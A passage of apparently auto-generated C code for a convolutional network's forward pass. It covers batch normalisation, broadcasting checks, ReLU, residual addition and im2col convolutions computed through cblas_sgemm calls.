x86[x13041];\nint32_t x13029 = x13027 + x13028;\nint32_t x13031 = x13029 + x13030;\nint32_t x13033 = x13031 + x13032;\nfloat x13044 = x13042 - x13043;\nx13018[x13033] = x13044;\n\n}\n\n}\n\n}\n\n}\nfloat* x13054 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x13055=0; x13055 < 1024; x13055++) {\nfloat x13056 = x211[x13055];\nfloat x13057 = x13056 + 1.0E-5f;\nx13054[x13055] = x13057;\n\n}\nfloat* x13061 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x13062=0; x13062 < 1024; x13062++) {\nfloat x13063 = x13054[x13062];\ndouble x13064 = (double)x13063;\ndouble x13065 = sqrt(x13064);\nfloat x13066 = (float)x13065;\nx13061[x13062] = x13066;\n\n}\nint32_t x13070 = 0;\nint32_t x13071 = 1;\nx13071 *= 1;\nx13070 += 1;\nx13071 *= 1;\nx13071 *= 1;\nint32_t x13076 = x13070;\nbool x13077 = x13076 >= 2;\nif (x13077) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x13082 = x13076 == 0;\nif (x13082) {\nint32_t x13083 = x13071;\nbool x13084 = x13083 == 1024;\nif (x13084) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x13091 = x13071;\nbool x13093 = x13007 == 1;\nint32_t x13092 = 1024 / x13091;\nbool x13094 = x13092 == 1;\nbool x13098;\nif (x454) {\nbool x13095 = x13093 || x13094;\nbool x13096 = x13007 == x13092;\nbool x13097 = x13095 || x13096;\nx13098 = x13097;\n} else {\nx13098 = false;\n}\nbool x13102;\nif (x13098) {\nx13102 = x13101;\n} else {\nx13102 = false;\n}\nbool x13103;\nif (x13102) {\nx13103 = x13101;\n} else {\nx13103 = false;\n}\nif (x13103) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x13007,x13009,x13009,1,x13092,1,1);\nassert(false && \"\");\n}\nbool x13109 = x13007 <= x13092;\nint32_t x13110;\nif (x13109) {\nx13110 = x13092;\n} else {\nx13110 = x13007;\n}\nint32_t x13119 = x13110 * x13118;\nint32_t x13120 = 64 * x13119;\nfloat* x13121 = (float*)myMalloc(x13120 * sizeof(float));;\nint32_t x13122;\nif (x13093) {\nx13122 = 0;\n} else {\nx13122 = x13015;\n}\nint32_t x13125;\nif (x13094) {\nx13125 = 0;\n} else {\nx13125 = 1;\n}\nfor(int x13126=0; x13126 < 64; x13126++) {\nint32_t x13138 = x13016 * x13126;\nint32_t x13132 = x13119 * x13126;\nfor(int x13128=0; x13128 < x13110; x13128++) {\nint32_t x13139 = x13122 * x13128;\nint32_t x13140 = x13138 + x13139;\nint32_t x13145 = x13125 * x13128;\nint32_t x13134 = x13118 * x13128;\nfor(int x13130=0; x13130 < x13112; x13130++) {\nint32_t x13141 = x13123 * x13130;\nint32_t x13142 = x13140 + x13141;\nint32_t x13136 = x13112 * x13130;\nfor(int x13131=0; x13131 < x13112; x13131++) {\nint32_t x13143 = x13124 * x13131;\nint32_t x13144 = x13142 + x13143;\nfloat x13146 = x13018[x13144];\nfloat x13147 = x13061[x13145];\nint32_t x13133 = x13131 + x13132;\nint32_t x13135 = x13133 + x13134;\nint32_t x13137 = x13135 + x13136;\nfloat x13148 = x13146 / x13147;\nx13121[x13137] = x13148;\n\n}\n\n}\n\n}\n\n}\nint32_t x13158 = 0;\nint32_t x13159 = 1;\nx13159 *= 1;\nx13158 += 1;\nx13159 *= 1;\nx13159 *= 1;\nint32_t x13164 = x13158;\nbool x13165 = x13164 >= 2;\nif (x13165) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x13170 = x13164 == 0;\nif (x13170) {\nint32_t x13171 = x13159;\nbool x13172 = x13171 == 1024;\nif (x13172) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x13179 = x13159;\nbool x13181 = x13110 == 1;\nint32_t x13180 = 1024 / x13179;\nbool x13182 = x13180 == 1;\nbool x13186;\nif (x454) {\nbool x13183 = x13181 || x13182;\nbool x13184 = x13110 == x13180;\nbool x13185 = x13183 || x13184;\nx13186 = x13185;\n} else {\nx13186 = false;\n}\nbool x13190;\nif (x13186) {\nx13190 = x13189;\n} else {\nx13190 = false;\n}\nbool x13191;\nif (x13190) {\nx13191 = x13189;\n} else {\nx13191 = false;\n}\nif (x13191) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x13110,x13112,x13112,1,x13180,1,1);\nassert(false && \"\");\n}\nbool x13197 = x13110 <= x13180;\nint32_t x13198;\nif (x13197) {\nx13198 = x13180;\n} else {\nx13198 = x13110;\n}\nint32_t x13207 = x13198 * x13206;\nint32_t x13208 = 64 * x13207;\nfloat* x13209 = (float*)myMalloc(x13208 * sizeof(float));;\nint32_t x13210;\nif (x13181) {\nx13210 = 0;\n} else {\nx13210 = x13118;\n}\nint32_t x13213;\nif (x13182) {\nx13213 = 0;\n} else {\nx13213 = 1;\n}\nfor(int x13214=0; x13214 < 64; x13214++) {\nint32_t x13226 = x13119 * x13214;\nint32_t x13220 = x13207 * x13214;\nfor(int x13216=0; x13216 < x13198; x13216++) {\nint32_t x13227 = x13210 * x13216;\nint32_t x13228 = x13226 + x13227;\nint32_t x13233 = x13213 * x13216;\nint32_t x13222 = x13206 * x13216;\nfor(int x13218=0; x13218 < x13200; x13218++) {\nint32_t x13229 = x13211 * x13218;\nint32_t x13230 = x13228 + x13229;\nint32_t x13224 = x13200 * x13218;\nfor(int x13219=0; x13219 < x13200; x13219++) {\nint32_t x13231 = x13212 * x13219;\nint32_t x13232 = x13230 + x13231;\nfloat x13234 = x13121[x13232];\nfloat x13235 = x29[x13233];\nint32_t x13221 = x13219 + x13220;\nint32_t x13223 = x13221 + x13222;\nint32_t x13225 = x13223 + x13224;\nfloat x13236 = x13234 * x13235;\nx13209[x13225] = x13236;\n\n}\n\n}\n\n}\n\n}\nint32_t x13246 = 0;\nint32_t x13247 = 1;\nx13247 *= 1;\nx13246 += 1;\nx13247 *= 1;\nx13247 *= 1;\nint32_t x13252 = x13246;\nbool x13253 = x13252 >= 2;\nif (x13253) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x13258 = x13252 == 0;\nif (x13258) {\nint32_t x13259 = x13247;\nbool x13260 = x13259 == 1024;\nif (x13260) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x13267 = x13247;\nbool x13269 = x13198 == 1;\nint32_t x13268 = 1024 / x13267;\nbool x13270 = x13268 == 1;\nbool x13274;\nif (x454) {\nbool x13271 = x13269 || x13270;\nbool x13272 = x13198 == x13268;\nbool x13273 = x13271 || x13272;\nx13274 = x13273;\n} else {\nx13274 = false;\n}\nbool x13278;\nif (x13274) {\nx13278 = x13277;\n} else {\nx13278 = false;\n}\nbool x13279;\nif (x13278) {\nx13279 = x13277;\n} else {\nx13279 = false;\n}\nif (x13279) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x13198,x13200,x13200,1,x13268,1,1);\nassert(false && \"\");\n}\nbool x13285 = x13198 <= x13268;\nint32_t x13286;\nif (x13285) {\nx13286 = x13268;\n} else {\nx13286 = x13198;\n}\nint32_t x13295 = x13286 * x13294;\nint32_t x13296 = 64 * x13295;\nfloat* x13297 = (float*)myMalloc(x13296 * sizeof(float));;\nint32_t x13298;\nif (x13269) {\nx13298 = 0;\n} else {\nx13298 = x13206;\n}\nint32_t x13301;\nif (x13270) {\nx13301 = 0;\n} else {\nx13301 = 1;\n}\nfor(int x13302=0; x13302 < 64; x13302++) {\nint32_t x13314 = x13207 * x13302;\nint32_t x13308 = x13295 * x13302;\nfor(int x13304=0; x13304 < x13286; x13304++) {\nint32_t x13315 = x13298 * x13304;\nint32_t x13316 = x13314 + x13315;\nint32_t x13321 = x13301 * x13304;\nint32_t x13310 = x13294 * x13304;\nfor(int x13306=0; x13306 < x13288; x13306++) {\nint32_t x13317 = x13299 * x13306;\nint32_t x13318 = x13316 + x13317;\nint32_t x13312 = x13288 * x13306;\nfor(int x13307=0; x13307 < x13288; x13307++) {\nint32_t x13319 = x13300 * x13307;\nint32_t x13320 = x13318 + x13319;\nfloat x13322 = x13209[x13320];\nfloat x13323 = x220[x13321];\nint32_t x13309 = x13307 + x13308;\nint32_t x13311 = x13309 + x13310;\nint32_t x13313 = x13311 + x13312;\nfloat x13324 = x13322 + x13323;\nx13297[x13313] = x13324;\n\n}\n\n}\n\n}\n\n}\nbool x13334 = x12862 == 1;\nbool x13335 = x13286 == 1;\nbool x13336 = x13334 || x13335;\nbool x13337 = x12862 == x13286;\nbool x13338 = x13336 || x13337;\nbool x13344;\nif (x13338) {\nx13344 = x13343;\n} else {\nx13344 = false;\n}\nbool x13345;\nif (x13344) {\nx13345 = x13343;\n} else {\nx13345 = false;\n}\nif (x13345) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x12862,x12864,x12864,64,x13286,x13288,x13288);\nassert(false && \"\");\n}\nbool x13351 = x12862 <= x13286;\nint32_t x13352;\nif (x13351) {\nx13352 = x13286;\n} else {\nx13352 = x12862;\n}\nint32_t x13368;\nif (x13334) {\nx13368 = 0;\n} else {\nx13368 = x12870;\n}\nint32_t x13371;\nif (x13335) {\nx13371 = 0;\n} else {\nx13371 = x13294;\n}\nfor(int x13374=0; x13374 < 64; x13374++) {\nint32_t x13380 = x12871 * x13374;\nint32_t x13387 = x13295 * x13374;\nfor(int x13376=0; x13376 < x13352; x13376++) {\nint32_t x13381 = x13368 * x13376;\nint32_t x13382 = x13380 + x13381;\nint32_t x13388 = x13371 * x13376;\nint32_t x13389 = x13387 + x13388;\nfor(int x13378=0; x13378 < x13354; x13378++) {\nint32_t x13383 = x13369 * x13378;\nint32_t x13384 = x13382 + x13383;\nint32_t x13390 = x13372 * x13378;\nint32_t x13391 = x13389 + x13390;\nfor(int x13379=0; x13379 < x13354; x13379++) {\nint32_t x13385 = x13370 * x13379;\nint32_t x13386 = x13384 + x13385;\nfloat x13394 = x12873[x13386];\nint32_t x13392 = x13373 * x13379;\nint32_t x13393 = x13391 + x13392;\nfloat x13395 = x13297[x13393];\nfloat x13396 = x13394 + x13395;\nx12873[x13386] = x13396;\n\n}\n\n}\n\n}\n\n}\nfloat* x13406 = (float*)myMalloc(x12872 * sizeof(float));;\nfor(int x13408=0; x13408 < x12872; x13408++) {\nfloat x13409 = x12873[x13408];\nbool x13410 = x13409 < 0.0f;\nif (x13410) {\nx13406[x13408] = 0.0f;\n} else {\nfloat x13413 = x12873[x13408];\nx13406[x13408] = x13413;\n}\n\n}\nfloat* x13427 = (float*)myMalloc(x13426 * sizeof(float));;\nint32_t x13430 = 64 * x12862;\nint32_t x13431 = x13430 * x13422;\nfloat* x13432 = (float*)myMalloc(x13431 * sizeof(float));;\nint32_t x13428 = x12862 * x13422;\nfor(int x13433=0; x13433 < 64; x13433++) {\nint32_t x13434 = x13433 * x12871;\nfloat* x13435 = x13406+x13434;\nint32_t x13436 = x13433 * x13423;\nfloat* x13437 = x13427+x13436;\nint32_t x13438 = x13433 * x13428;\nfloat* x13439 = x13432+x13438;\nfor(int x13440=0; x13440 < x12862; x13440++) {\nint32_t x13441 = x13440 / 1;\nint32_t x13445 = x13441 * x13421;\nint32_t x13446 = x13445 * x13421;\nint32_t x13442 = x13440 % 1;\nint32_t x13443 = x13442 / 1;\nint32_t x13447 = x13443 * x13421;\nint32_t x13448 = x13447 * x13421;\nint32_t x13449 = x13446 + x13448;\nint32_t x13444 = x13442 % 1;\nint32_t x13450 = x13444 * x13421;\nint32_t x13451 = x13450 * x13421;\nint32_t x13452 = x13449 + x13451;\nfloat* x13453 = x13439+x13452;\nint32_t x13454 = x13441 * x12864;\nint32_t x13455 = x13454 * x12864;\nfloat* x13456 = x13435+x13455;\nfor(int x13458=0; x13458 < x13421; x13458++) {\nint32_t x13460 = x13458 * x13421;\nfloat* x13461 = x13453+x13460;\nint32_t x13459 = x13458 + x13443;\nint32_t x13462 = x13459 * x12864;\nint32_t x13463 = x13462 + x13444;\nfloat* x13464 = x13456+x13463;\nmemcpy(x13461, x13464, 4 * x13421);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x13422,x12862,1,x13,x12862,x13439,x13422,1,x13437,x13422);\n\n}\nint32_t x13473 = 0;\nint32_t x13474 = 1;\nx13474 *= 1;\nx13473 += 1;\nx13474 *= 1;\nx13474 *= 1;\nint32_t x13479 = x13473;\nbool x13480 = x13479 >= 2;\nif (x13480) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x13485 = x13479 == 0;\nif (x13485) {\nint32_t x13486 = x13474;\nbool x13487 = x13486 == 256;\nif (x13487) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x13494 = x13474;\nint32_t x13495 = 256 / x13494;\nbool x13496 = x13495 == 1;\nbool x13499;\nif (x454) {\nbool x13497 = 256 == x13495;\nbool x13498 = x13496 || x13497;\nx13499 = x13498;\n} else {\nx13499 = false;\n}\nbool x13503;\nif (x13499) {\nx13503 = x13502;\n} else {\nx13503 = false;\n}\nbool x13504;\nif (x13503) {\nx13504 = x13502;\n} else {\nx13504 = false;\n}\nif (x13504) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x13421,x13421,1,x13495,1,1);\nassert(false && \"\");\n}\nbool x13510 = 256 <= x13495;\nint32_t x13511;\nif (x13510) {\nx13511 = x13495;\n} else {\nx13511 = 256;\n}\nint32_t x13520 = x13511 * x13519;\nint32_t x13521 = 64 * x13520;\nfloat* x13522 = (float*)myMalloc(x13521 * sizeof(float));;\nint32_t x13525;\nif (x13496) {\nx13525 = 0;\n} else {\nx13525 = 1;\n}\nfor(int x13526=0; x13526 < 64; x13526++) {\nint32_t x13538 = x13423 * x13526;\nint32_t x13532 = x13520 * x13526;\nfor(int x13528=0; x13528 < x13511; x13528++) {\nint32_t x13539 = x13422 * x13528;\nint32_t x13540 = x13538 + x13539;\nint32_t x13545 = x13525 * x13528;\nint32_t x13534 = x13519 * x13528;\nfor(int x13530=0; x13530 < x13513; x13530++) {\nint32_t x13541 = x13523 * x13530;\nint32_t x13542 = x13540 + x13541;\nint32_t x13536 = x13513 * x13530;\nfor(int x13531=0; x13531 < x13513; x13531++) {\nint32_t x13543 = x13524 * x13531;\nint32_t x13544 = x13542 + x13543;\nfloat x13546 = x13427[x13544];\nfloat x13547 = x259[x13545];\nint32_t x13533 = x13531 + x13532;\nint32_t x13535 = x13533 + x13534;\nint32_t x13537 = x13535 + x13536;\nfloat x13548 = x13546 - x13547;\nx13522[x13537] = x13548;\n\n}\n\n}\n\n}\n\n}\nfloat* x13558 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x13559=0; x13559 < 256; x13559++) {\nfloat x13560 = x157[x13559];\nfloat x13561 = x13560 + 1.0E-5f;\nx13558[x13559] = x13561;\n\n}\nfloat* x13565 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x13566=0; x13566 < 256; x13566++) {\nfloat x13567 = x13558[x13566];\ndouble x13568 = (double)x13567;\ndouble x13569 = sqrt(x13568);\nfloat x13570 = (float)x13569;\nx13565[x13566] = x13570;\n\n}\nint32_t x13574 = 0;\nint32_t x13575 = 1;\nx13575 *= 1;\nx13574 += 1;\nx13575 *= 1;\nx13575 *= 1;\nint32_t x13580 = x13574;\nbool x13581 = x13580 >= 2;\nif (x13581) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x13586 = x13580 == 0;\nif (x13586) {\nint32_t x13587 = x13575;\nbool x13588 = x13587 == 256;\nif (x13588) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x13595 = x13575;\nbool x13597 = x13511 == 1;\nint32_t x13596 = 256 / x13595;\nbool x13598 = x13596 == 1;\nbool x13602;\nif (x454) {\nbool x13599 = x13597 || x13598;\nbool x13600 = x13511 == x13596;\nbool x13601 = x13599 || x13600;\nx13602 = x13601;\n} else {\nx13602 = false;\n}\nbool x13606;\nif (x13602) {\nx13606 = x13605;\n} else {\nx13606 = false;\n}\nbool x13607;\nif (x13606) {\nx13607 = x13605;\n} else {\nx13607 = false;\n}\nif (x13607) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x13511,x13513,x13513,1,x13596,1,1);\nassert(false && \"\");\n}\nbool x13613 = x13511 <= x13596;\nint32_t x13614;\nif (x13613) {\nx13614 = x13596;\n} else {\nx13614 = x13511;\n}\nint32_t x13623 = x13614 * x13622;\nint32_t x13624 = 64 * x13623;\nfloat* x13625 = (float*)myMalloc(x13624 * sizeof(float));;\nint32_t x13626;\nif (x13597) {\nx13626 = 0;\n} else {\nx13626 = x13519;\n}\nint32_t x13629;\nif (x13598) {\nx13629 = 0;\n} else {\nx13629 = 1;\n}\nfor(int x13630=0; x13630 < 64; x13630++) {\nint32_t x13642 = x13520 * x13630;\nint32_t x13636 = x13623 * x13630;\nfor(int x13632=0; x13632 < x13614; x13632++) {\nint32_t x13643 = x13626 * x13632;\nint32_t x13644 = x13642 + x13643;\nint32_t x13649 = x13629 * x13632;\nint32_t x13638 = x13622 * x13632;\nfor(int x13634=0; x13634 < x13616; x13634++) {\nint32_t x13645 = x13627 * x13634;\nint32_t x13646 = x13644 + x13645;\nint32_t x13640 = x13616 * x13634;\nfor(int x13635=0; x13635 < x13616; x13635++) {\nint32_t x13647 = x13628 * x13635;\nint32_t x13648 = x13646 + x13647;\nfloat x13650 = x13522[x13648];\nfloat x13651 = x13565[x13649];\nint32_t x13637 = x13635 + x13636;\nint32_t x13639 = x13637 + x13638;\nint32_t x13641 = x13639 + x13640;\nfloat x13652 = x13650 / x13651;\nx13625[x13641] = x13652;\n\n}\n\n}\n\n}\n\n}\nint32_t x13662 = 0;\nint32_t x13663 = 1;\nx13663 *= 1;\nx13662 += 1;\nx13663 *= 1;\nx13663 *= 1;\nint32_t x13668 = x13662;\nbool x13669 = x13668 >= 2;\nif (x13669) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x13674 = x13668 == 0;\nif (x13674) {\nint32_t x13675 = x13663;\nbool x13676 = x13675 == 256;\nif (x13676) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x13683 = x13663;\nbool x13685 = x13614 == 1;\nint32_t x13684 = 256 / x13683;\nbool x13686 = x13684 == 1;\nbool x13690;\nif (x454) {\nbool x13687 = x13685 || x13686;\nbool x13688 = x13614 == x13684;\nbool x13689 = x13687 || x13688;\nx13690 = x13689;\n} else {\nx13690 = false;\n}\nbool x13694;\nif (x13690) {\nx13694 = x13693;\n} else {\nx13694 = false;\n}\nbool x13695;\nif (x13694) {\nx13695 = x13693;\n} else {\nx13695 = false;\n}\nif (x13695) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x13614,x13616,x13616,1,x13684,1,1);\nassert(false && \"\");\n}\nbool x13701 = x13614 <= x13684;\nint32_t x13702;\nif (x13701) {\nx13702 = x13684;\n} else {\nx13702 = x13614;\n}\nint32_t x13711 = x13702 * x13710;\nint32_t x13712 = 64 * x13711;\nfloat* x13713 = (float*)myMalloc(x13712 * sizeof(float));;\nint32_t x13714;\nif (x13685) {\nx13714 = 0;\n} else {\nx13714 = x13622;\n}\nint32_t x13717;\nif (x13686) {\nx13717 = 0;\n} else {\nx13717 = 1;\n}\nfor(int x13718=0; x13718 < 64; x13718++) {\nint32_t x13730 = x13623 * x13718;\nint32_t x13724 = x13711 * x13718;\nfor(int x13720=0; x13720 < x13702; x13720++) {\nint32_t x13731 = x13714 * x13720;\nint32_t x13732 = x13730 + x13731;\nint32_t x13737 = x13717 * x13720;\nint32_t x13726 = x13710 * x13720;\nfor(int x13722=0; x13722 < x13704; x13722++) {\nint32_t x13733 = x13715 * x13722;\nint32_t x13734 = x13732 + x13733;\nint32_t x13728 = x13704 * x13722;\nfor(int x13723=0; x13723 < x13704; x13723++) {\nint32_t x13735 = x13716 * x13723;\nint32_t x13736 = x13734 + x13735;\nfloat x13738 = x13625[x13736];\nfloat x13739 = x30[x13737];\nint32_t x13725 = x13723 + x13724;\nint32_t x13727 = x13725 + x13726;\nint32_t x13729 = x13727 + x13728;\nfloat x13740 = x13738 * x13739;\nx13713[x13729] = x13740;\n\n}\n\n}\n\n}\n\n}\nint32_t x13750 = 0;\nint32_t x13751 = 1;\nx13751 *= 1;\nx13750 += 1;\nx13751 *= 1;\nx13751 *= 1;\nint32_t x13756 = x13750;\nbool x13757 = x13756 >= 2;\nif (x13757) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x13762 = x13756 == 0;\nif (x13762) {\nint32_t x13763 = x13751;\nbool x13764 = x13763 == 256;\nif (x13764) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x13771 = x13751;\nbool x13773 = x13702 == 1;\nint32_t x13772 = 256 / x13771;\nbool x13774 = x13772 == 1;\nbool x13778;\nif (x454) {\nbool x13775 = x13773 || x13774;\nbool x13776 = x13702 == x13772;\nbool x13777 = x13775 || x13776;\nx13778 = x13777;\n} else {\nx13778 = false;\n}\nbool x13782;\nif (x13778) {\nx13782 = x13781;\n} else {\nx13782 = false;\n}\nbool x13783;\nif (x13782) {\nx13783 = x13781;\n} else {\nx13783 = false;\n}\nif (x13783) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x13702,x13704,x13704,1,x13772,1,1);\nassert(false && \"\");\n}\nbool x13789 = x13702 <= x13772;\nint32_t x13790;\nif (x13789) {\nx13790 = x13772;\n} else {\nx13790 = x13702;\n}\nint32_t x13799 = x13790 * x13798;\nint32_t x13800 = 64 * x13799;\nfloat* x13801 = (float*)myMalloc(x13800 * sizeof(float));;\nint32_t x13802;\nif (x13773) {\nx13802 = 0;\n} else {\nx13802 = x13710;\n}\nint32_t x13805;\nif (x13774) {\nx13805 = 0;\n} else {\nx13805 = 1;\n}\nfor(int x13806=0; x13806 < 64; x13806++) {\nint32_t x13818 = x13711 * x13806;\nint32_t x13812 = x13799 * x13806;\nfor(int x13808=0; x13808 < x13790; x13808++) {\nint32_t x13819 = x13802 * x13808;\nint32_t x13820 = x13818 + x13819;\nint32_t x13825 = x13805 * x13808;\nint32_t x13814 = x13798 * x13808;\nfor(int x13810=0; x13810 < x13792; x13810++) {\nint32_t x13821 = x13803 * x13810;\nint32_t x13822 = x13820 + x13821;\nint32_t x13816 = x13792 * x13810;\nfor(int x13811=0; x13811 < x13792; x13811++) {\nint32_t x13823 = x13804 * x13811;\nint32_t x13824 = x13822 + x13823;\nfloat x13826 = x13713[x13824];\nfloat x13827 = x219[x13825];\nint32_t x13813 = x13811 + x13812;\nint32_t x13815 = x13813 + x13814;\nint32_t x13817 = x13815 + x13816;\nfloat x13828 = x13826 + x13827;\nx13801[x13817] = x13828;\n\n}\n\n}\n\n}\n\n}\nfloat* x13838 = (float*)myMalloc(x13800 * sizeof(float));;\nfor(int x13840=0; x13840 < x13800; x13840++) {\nfloat x13841 = x13801[x13840];\nbool x13842 = x13841 < 0.0f;\nif (x13842) {\nx13838[x13840] = 0.0f;\n} else {\nfloat x13845 = x13801[x13840];\nx13838[x13840] = x13845;\n}\n\n}\nfloat* x13860 = (float*)myMalloc(x13859 * sizeof(float));;\nint32_t x13861 = 9 * x13790;\nint32_t x13864 = 64 * x13861;\nint32_t x13865 = x13864 * x13855;\nfloat* x13866 = (float*)myMalloc(x13865 * sizeof(float));;\nint32_t x13862 = x13861 * x13855;\nint32_t x13874 = x13790 * 3;\nint32_t x13875 = x13874 * 3;\nfor(int x13867=0; x13867 < 64; x13867++) {\nint32_t x13868 = x13867 * x13799;\nfloat* x13869 = x13838+x13868;\nint32_t x13870 = x13867 * x13856;\nfloat* x13871 = x13860+x13870;\nint32_t x13872 = x13867 * x13862;\nfloat* x13873 = x13866+x13872;\nfor(int x13877=0; x13877 < x13875; x13877++) {\nint32_t x13878 = x13877 / 9;\nint32_t x13882 = x13878 * 3;\nint32_t x13883 = x13882 * 3;\nint32_t x13884 = x13883 * x13854;\nint32_t x13885 = x13884 * x13854;\nint32_t x13879 = x13877 % 9;\nint32_t x13880 = x13879 / 3;\nint32_t x13886 = x13880 * 3;\nint32_t x13887 = x13886 * x13854;\nint32_t x13888 = x13887 * x13854;\nint32_t x13889 = x13885 + x13888;\nint32_t x13881 = x13879 % 3;\nint32_t x13890 = x13881 * x13854;\nint32_t x13891 = x13890 * x13854;\nint32_t x13892 = x13889 + x13891;\nfloat* x13893 = x13873+x13892;\nint32_t x13894 = x13878 * x13792;\nint32_t x13895 = x13894 * x13792;\nfloat* x13896 = x13869+x13895;\nint32_t x13909 = 1 - x13881;\nbool x13910 = x13909 > 0;\nint32_t x13911;\nif (x13910) {\nx13911 = x13909;\n} else {\nx13911 = 0;\n}\nint32_t x13912 = 3 - x13881;\nint32_t x13913 = x13912 - 1;\nint32_t x13914 = 1 - x13913;\nbool x13915 = x13914 > 0;\nint32_t x13916;\nif (x13915) {\nx13916 = x13914;\n} else {\nx13916 = 0;\n}\nint32_t x13917 = x13854 - x13916;\nint32_t x13918 = x13917 - x13911;\nbool x13919 = x13918 <= 0;\nbool x13923 = x13911 > 0;\nint32_t x13908 = -1 + x13881;\nbool x13936 = x13916 > 0;\nfor(int x13898=0; x13898 < x13854; x13898++) {\nint32_t x13899 = x13898 - 1;\nint32_t x13900 = x13899 + x13880;\nbool x13901 = x13900 < 0;\nbool x13902 = x13900 >= x13792;\nbool x13903 = x13901 || x13902;\nif (x13903) {\nint32_t x13904 = x13898 * x13854;\nfloat* x13905 = x13893+x13904;\nmemset(x13905, 0, 4 * x13854);;\n} else {\nif (x13919) {\nint32_t x13904 = x13898 * x13854;\nfloat* x13920 = x13893+x13904;\nmemset(x13920, 0, 4 * x13854);;\n} else {\nint32_t x13904 = x13898 * x13854;\nif (x13923) {\nfloat* x13924 = x13893+x13904;\nmemset(x13924, 0, 4 * x13911);;\n} else {\n}\n// may have segfault here\nint32_t x13929 = x13904 + x13911;\nfloat* x13930 = x13893+x13929;\nint32_t x13931 = x13900 * x13792;\nint32_t x13932 = x13931 + x13908;\nint32_t x13933 = x13932 + x13911;\nfloat* x13934 = x13896+x13933;\nmemcpy(x13930, x13934, 4 * x13918);;\nif (x13936) {\nint32_t x13937 = x13904 + x13854;\nint32_t x13938 = x13937 - x13916;\nfloat* x13939 = x13893+x13938;\nmemset(x13939, 0, 4 * x13916);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x13855,x13861,1,x31,x13861,x13873,x13855,1,x13871,x13855);\n\n}\nint32_t x13954 = 0;\nint32_t x13955 = 1;\nx13955 *= 1;\nx13954 += 1;\nx13955 *= 1;\nx13955 *= 1;\nint32_t x13960 = x13954;\nbool x13961 = x13960 >= 2;\nif (x13961) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x13966 = x13960 == 0;\nif (x13966) {\nint32_t x13967 = x13955;\nbool x13968 = x13967 == 256;\nif (x13968) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x13975 = x13955;\nint32_t x13976 = 256 / x13975;\nbool x13977 = x13976 == 1;\nbool x13980;\nif (x454) {\nbool x13978 = 256 == x13976;\nbool x13979 = x13977 || x13978;\nx13980 = x13979;\n} else {\nx13980 = false;\n}\nbool x13984;\nif (x13980) {\nx13984 = x13983;\n} else {\nx13984 = false;\n}\nbool x13985;\nif (x13984) {\nx13985 = x13983;\n} else {\nx13985 = false;\n}\nif (x13985) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x13854,x13854,1,x13976,1,1);\nassert(false && \"\");\n}\nbool x13991 = 256 <= x13976;\nint32_t x13992;\nif (x13991) {\nx13992 = x13976;\n} else {\nx13992 = 256;\n}\nint32_t x14001 = x13992 * x14000;\nint32_t x14002 = 64 * x14001;\nfloat* x14003 = (float*)myMalloc(x14002 * sizeof(float));;\nint32_t x14006;\nif (x13977) {\nx14006 = 0;\n} else {\nx14006 = 1;\n}\nfor(int x14007=0; x14007 < 64; x14007++) {\nint32_t x14019 = x13856 * x14007;\nint32_t x14013 = x14001 * x14007;\nfor(int x14009=0; x14009 < x13992; x14009++) {\nint32_t x14020 = x13855 * x14009;\nint32_t x14021 = x14019 + x14020;\nint32_t x14026 = x14006 * x14009;\nint32_t x14015 = x14000 * x14009;\nfor(int x14011=0; x14011 < x13994; x14011++) {\nint32_t x14022 = x14004 * x14011;\nint32_t x14023 = x14021 + x14022;\nint32_t x14017 = x13994 * x14011;\nfor(int x14012=0; x14012 < x13994; x14012++) {\nint32_t x14024 = x14005 * x14012;\nint32_t x14025 = x14023 + x14024;\nfloat x14027 = x13860[x14025];\nfloat x14028 = x200[x14026];\nint32_t x14014 = x14012 + x14013;\nint32_t x14016 = x14014 + x14015;\nint32_t x14018 = x14016 + x14017;\nfloat x14029 = x14027 - 